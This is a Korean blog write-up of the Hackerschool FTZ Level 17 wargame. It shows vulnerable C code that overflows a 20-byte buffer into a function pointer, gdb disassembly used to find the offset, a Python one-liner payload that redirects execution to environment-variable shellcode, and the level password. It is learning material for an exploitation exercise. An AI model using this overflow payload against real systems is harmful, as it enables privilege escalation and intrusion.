thumbnail
cd ..
root@blog:~/posts/ 202210

해커스쿨 FTZ 레벨 17

#KOR#pwn
2022.10.07.

0. 들어가기 전에

이번 문제는 사실 정말 설명이 필요 없을정도로 Level 16과 비슷하다…

1. Level 17

소스코드부터 확인해보자.

#include <stdio.h>

void printit() {

  printf("Hello there!\n");

}

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  setreuid(3098,3098);

  call();
}

크게 어려울 것 없는 코드다. 다만 이번엔 printit함수만 존재한다! 그렇다고 RET까지 가기에는 입력받는 범위가 모자라다.

그럼 단순히 Shell 코드 환경변수 하나 만들어서 그 주소를 printit에 대입하면 될 것이다. 환경변수를 만들고 주소까지 확인하는 법은 내 블로그 FTZ Level12에 자세히 나와있다!

환경변수를 만들고 주소까지 확인해보니 :

0xbffffc18

값이 나왔다. gdb로 포인터와 배열 사이의 거리를 재보자.

0x080484a8 <main+0>:    push   ebp
0x080484a9 <main+1>:    mov    ebp,esp
0x080484ab <main+3>:    sub    esp,0x38
0x080484ae <main+6>:    mov    DWORD PTR [ebp-16],0x8048490
0x080484b5 <main+13>:   sub    esp,0x4
0x080484b8 <main+16>:   push   ds:0x804967c
0x080484be <main+22>:   push   0x30
0x080484c0 <main+24>:   lea    eax,[ebp-56]
0x080484c3 <main+27>:   push   eax
0x080484c4 <main+28>:   call   0x8048350 <fgets>
0x080484c9 <main+33>:   add    esp,0x10
0x080484cc <main+36>:   sub    esp,0x8
0x080484cf <main+39>:   push   0xc1a
0x080484d4 <main+44>:   push   0xc1a
0x080484d9 <main+49>:   call   0x8048380 <setreuid>
0x080484de <main+54>:   add    esp,0x10
0x080484e1 <main+57>:   mov    eax,DWORD PTR [ebp-16]
0x080484e4 <main+60>:   call   eax
0x080484e6 <main+62>:   leave
0x080484e7 <main+63>:   ret
0x080484e8 <main+64>:   nop
0x080484e9 <main+65>:   nop

예상했지만, 저번 문제와 똑같다(…)

그냥 저번 문제의 코드에서 주소만 쉘코드 주소로 바꿔서 넣어보니 문제가 풀린다.

(python -c 'print "A"*40+"\x18\xfc\xff\xbf"'; cat) | ./attackme

비밀번호 : why did you do it


Source

[ comments ]